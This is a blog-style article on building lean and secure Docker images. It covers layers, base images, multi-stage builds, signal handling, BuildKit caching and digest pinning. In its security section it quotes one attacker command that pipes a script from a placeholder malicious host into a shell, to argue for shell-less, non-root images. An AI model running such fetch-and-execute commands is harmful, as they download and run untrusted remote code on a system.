Table of Contents
Stop Treating Your Docker Image Like a Virtual Machine
It was 3:14 AM on a Tuesday when the first PagerDuty alert fired. I was the lead SRE for a fintech startup, and we were scaling our transaction processing engine to handle a sudden spike in volume. I had just “optimized” our CI/CD pipeline by caching our 4.2GB Docker image across the fleet. Within minutes, the Kubelet on every single node in the us-east-1 cluster started screaming. Disk pressure. The nodes went NotReady. The control plane, trying to be helpful, rescheduled the pods to the remaining healthy nodes, which promptly ran out of disk space too. It was a cascading failure of my own making.
The culprit wasn’t a memory leak or a rogue thread. It was a docker image that I had treated like a dumping ground. I had bundled the entire build toolchain, three different versions of Python, and a 1.5GB dataset into the final artifact. I learned that night that an image isn’t just a “box” for your code. It is a complex, layered filesystem that can either be your greatest deployment asset or a ticking time bomb that kills your MTTR (Mean Time To Recovery) when you need it most.
The Documentation is Lying to You
If you read the official Docker documentation, they make images sound like a simple stack of pancakes. You add a layer, you get a new image. Easy. But the docs rarely talk about what happens when those pancakes are 10 inches thick and made of lead. They don’t talk about the overlay2 storage driver’s inode limits or how the v2 manifest format actually handles content-addressable storage. Most tutorials focus on docker build -t my-app . and call it a day. They ignore the reality of the registry protocol, the overhead of layer extraction, and the security nightmare of glibc vulnerabilities in bloated base images.
We need to stop looking at images as “black boxes.” We need to look at them as a series of tar archives and JSON metadata files. Because when your image pull takes 8 minutes during an auto-scaling event, “it works on my machine” doesn’t mean anything. Your “seamless” developer experience is actually a bottleneck for your production reliability.
The Layer Cake: It’s Tarballs All The Way Down
A docker image is not a single file. It’s a collection of layers, and each layer is just a compressed tarball of the changes made since the previous layer. When you run docker pull, you aren’t downloading a binary; you are downloading a manifest that tells your engine which layers to fetch from the registry.
Let’s look at what’s actually happening under the hood. When you run a command in a Dockerfile, Docker creates a new layer. But here is the kicker: if you delete a file in a later layer, it doesn’t actually disappear from the image. It’s just hidden by a “whiteout” file in the UnionFS. This is where most people screw up their image size.
# This is a disaster for image size
FROM debian:bookworm-slim
RUN apt-get update
RUN apt-get install -y gcc make git
RUN git clone https://github.com/org/massive-app.git /app
RUN cd /app && make build
RUN apt-get purge -y gcc make git
In the example above, the gcc, make, and git binaries are still taking up space in the third layer. The apt-get purge in the last layer just adds a new layer saying “don’t show these files anymore.” The bits are still there. They are still being pushed to your registry. They are still being pulled by your nodes. You’ve achieved nothing but a false sense of cleanliness.
Pro-tip: Always combine your
RUNcommands that install and cleanup dependencies into a single statement using&&. This ensures the temporary files never make it into a committed layer.
- Each layer adds overhead to the
overlay2driver. - The maximum number of layers is 127, but if you hit 40, you’re already doing it wrong.
The Base Image War: Alpine is Overrated
I’m going to say it: Stop using Alpine Linux for everything. The industry has a weird obsession with Alpine because it’s 5MB. “Look how small my image is!” Great. Now tell me how much time you spent debugging musl vs glibc issues when your Python pandas library failed to compile or your Go binary had weird DNS resolution bugs.
Alpine uses musl as its C standard library. Most of the Linux world—and most of the pre-compiled binaries you find on the internet—expect glibc (GNU C Library). When you use Alpine for a Node.js or Python app, you often end up having to install build-base, gcc, and g++ just to compile dependencies that would have been pre-installed or easily available as wheels on a Debian-based system. You save 50MB on the base image but add 400MB in build dependencies and 10 minutes to your CI build time.
Use debian:bookworm-slim. It’s about 30MB compressed. It uses glibc. It’s predictable. It’s what runs the world. If you really want to be a hero, use Google’s distroless images for your final stage. They contain only your application and its runtime dependencies. No shell. No apt. No ls. It’s a nightmare to debug if you don’t know how to use kubectl debug, but it’s the gold standard for security and size.
alpine:3.19: 7MB. Great for simple Go binaries. Terrible for complex runtimes.debian:bookworm-slim: 30MB. The pragmatic choice for 90% of use cases.gcr.io/distroless/static-debian12: 2MB. The “final boss” of production images.ubuntu:22.04: 28MB. Fine, but Debian-slim is usually tighter.python:3.11-slim-bookworm: 45MB. The sweet spot for Python apps.
Multi-Stage Builds: The Only Way to Fly
If you aren’t using multi-stage builds in 2024, you are essentially shipping your kitchen with every meal you cook. You don’t need the Go compiler in your production image. You don’t need npm or yarn in your production image. You only need the compiled binary or the node_modules folder and the runtime.
# Stage 1: The Builder
FROM node:20.11.1-bookworm-slim AS builder
WORKDIR /src
COPY package.json yarn.lock ./
RUN yarn install --frozen-lockfile
COPY . .
RUN yarn build
# Stage 2: The Runtime
FROM node:20.11.1-bookworm-slim
WORKDIR /app
# Only copy the production artifacts
COPY --from=builder /src/dist ./dist
COPY --from=builder /src/node_modules ./node_modules
COPY --from=builder /src/package.json ./package.json
USER node
ENTRYPOINT ["node", "dist/index.js"]
This pattern is non-negotiable. It separates the “build-time” concerns from the “run-time” concerns. In the example above, the builder stage might be 800MB because of all the dev-dependencies and build tools. The final image? Probably 150MB. That’s a 5x reduction in storage, transfer costs, and attack surface.
The “Gotcha” of Signal Handling (PID 1)
Here is something most people realize only after they see their pods taking 30 seconds to terminate during a deployment. When you run a process in a container, it usually runs as PID 1. In Linux, PID 1 is special. It’s the init process. It’s responsible for reaping zombie processes and, crucially, handling signals like SIGTERM.
If you use the “shell form” of CMD or ENTRYPOINT, your application will not receive signals.
# Shell form: /bin/sh -c "node index.js"
CMD node index.js
In this case, /bin/sh is PID 1. When Kubernetes sends a SIGTERM to the container to shut it down gracefully, sh receives it but doesn’t pass it to node. Your app keeps running until the terminationGracePeriodSeconds (usually 30s) expires, and then the Kubelet kills it with a SIGKILL. You just dropped active connections and potentially corrupted data because you didn’t use the “exec form.”
# Exec form: node index.js
CMD ["node", "index.js"]
Now node is PID 1. It receives the SIGTERM. Your code can catch that signal and close database connections gracefully. If your runtime doesn’t handle PID 1 well (like some older versions of Java or Python), use tini. It’s a tiny init binary designed specifically for containers.
RUN apt-get update && apt-get install -y tini
ENTRYPOINT ["/usr/bin/tini", "--"]
CMD ["node", "index.js"]
The Registry Protocol: Why Your Pushes are Slow
When you run docker push, you are interacting with the OCI (Open Container Initiative) Distribution Spec. The engine calculates the SHA256 hash of each layer. It then asks the registry, “Hey, do you already have a layer with this hash?” This is called a “cross-repository blob mount” if it exists elsewhere, or just a simple skip if it exists in the current repo.
The bottleneck is often the “context.” When you run docker build ., the Docker CLI packs up everything in the current directory and sends it to the Docker daemon. If you have a 2GB .git folder or a node_modules folder locally, you are sending that 2GB over the socket every time you build.
Note to self: Always, always, always have a
.dockerignorefile. It is the single most effective way to speed up local builds.
# .dockerignore
.git
node_modules
dist
*.log
.env
Without this, your “build context” is bloated. The daemon has to process all those files even if your Dockerfile doesn’t COPY them. It’s wasted CPU and wasted IO.
BuildKit: The Modern Engine
If you are still using the old Docker build engine, you are living in the stone age. BuildKit (enabled via DOCKER_BUILDKIT=1 or used by default in newer versions) introduced features that make images significantly better. The most important one is the --mount=type=cache.
One of the biggest complaints about Docker images is that RUN apt-get update or RUN npm install has to happen from scratch if a previous layer changes. With BuildKit, you can persist a cache directory across builds.
# syntax=docker/dockerfile:1
FROM node:20
WORKDIR /app
COPY package.json yarn.lock ./
# This cache persists even if the layers are invalidated
RUN --mount=type=cache,target=/root/.yarn \
yarn install --prefer-offline --frozen-lockfile
COPY . .
RUN yarn build
This is a game changer for CI/CD. It allows you to keep the speed of local development (where you have a persistent node_modules or .m2 folder) while still getting the isolation of a containerized build.
The Manifest and the Config: The Brains of the Image
If you want to see what an image actually is, run docker save my-image:latest -o image.tar && tar -xf image.tar. You’ll see a bunch of directories with long hex names. Inside each is a layer.tar and a json file.
The manifest.json is the entry point. It points to the config JSON file and the layer tarballs. The config file is where the magic happens. It stores your environment variables, the ENTRYPOINT, the architecture (amd64 vs arm64), and the history of how the image was built.
This is why docker inspect is so powerful. It’s just reading this JSON. When you run a container, the engine takes this config, combines it with the runtime specs, and tells the container runtime (like containerd or CRI-O) to create a namespace and mount those layers using overlay2.
Config: Defines the environment and execution metadata.Layers: The actual filesystem diffs.Manifest: The map that links them together.Index: (In multi-arch images) A map that points to different manifests for different CPUs.
Security: Scanning is Not a Silver Bullet
People love to brag about their “Zero Vulnerability” image scans. “We use Snyk/Trivy/Clair and our images are clean!” This is a false sense of security. These scanners look for known CVEs in the package manager database (like dpkg or rpm).
If you download a random binary using curl in your Dockerfile, the scanner has no idea what it is. If you compile your own version of OpenSSL, the scanner won’t see the vulnerabilities in it. If you have a malicious npm package, the scanner might miss it unless it’s specifically looking at the package-lock.json.
The only way to truly secure a docker image is to reduce the surface area. This brings us back to distroless or static binaries. If there is no shell in your image, an attacker who finds a remote code execution (RCE) vulnerability in your app can’t just run curl http://malicious.com/script.sh | sh. They are stuck in a very limited environment.
Also, stop running as root. By default, Docker containers run as the root user. If an attacker breaks out of your application, they are root on the container. If you haven’t configured your User Namespaces or PodSecurityPolicies correctly, they might even have a path to the host.
# Create a system user
RUN groupadd -r appuser && useradd -r -g appuser appuser
# ... build your app ...
USER appuser
ENTRYPOINT ["./my-binary"]
The Immutable Artifact Myth
We say images are immutable. They aren’t. A tag like node:latest or python:3.9 is a moving target. If you build your image today and again tomorrow using the same tag, you might get different underlying bits because the maintainer updated the base image to patch a security hole.
In production, you should use the SHA256 digest of the image if you want true immutability.
# Instead of this:
FROM node:20.11.1-bookworm-slim
# Use this:
FROM node:20.11.1-bookworm-slim@sha256:c8c284f1c4...
This ensures that every single person on your team and every single node in your cluster is running the exact same byte-for-byte image. It prevents the “but it worked in staging” excuse when staging pulled the new version of the base image but production was still using the cached old version.
The Real World: Image Squashing and Why It’s Usually a Bad Idea
You might hear about “squashing” images. This is the process of taking all those layers and collapsing them into a single layer. People do this to save space.
Don’t do it.
Squashing destroys the primary benefit of Docker layers: deduplication. If you have 50 microservices all based on debian:bookworm-slim, your nodes only store that base layer once. If you squash every image, your nodes now store 50 copies of the Debian filesystem. You’ve traded a small reduction in individual image size for a massive increase in total disk usage across your cluster. You’ve also broken the registry’s ability to only push/pull the changes, making your CI/CD pipelines slower.
The Wrap-up
Stop treating your Dockerfile like a bash script and start treating it like a manifest for a distributed filesystem. Every line you write has a cost—in bytes, in build time, and in security risk. If you can’t justify a layer, don’t create it. If you don’t need a package, don’t install it. And for the love of everything holy, use a .dockerignore file. Your SREs will thank you when the cluster doesn’t implode at 3 AM because of disk pressure.
The best Docker image is the one that contains exactly what is needed to run the application and nothing else—no shells, no package managers, and no surprises.
Related Articles
Explore more insights and best practices: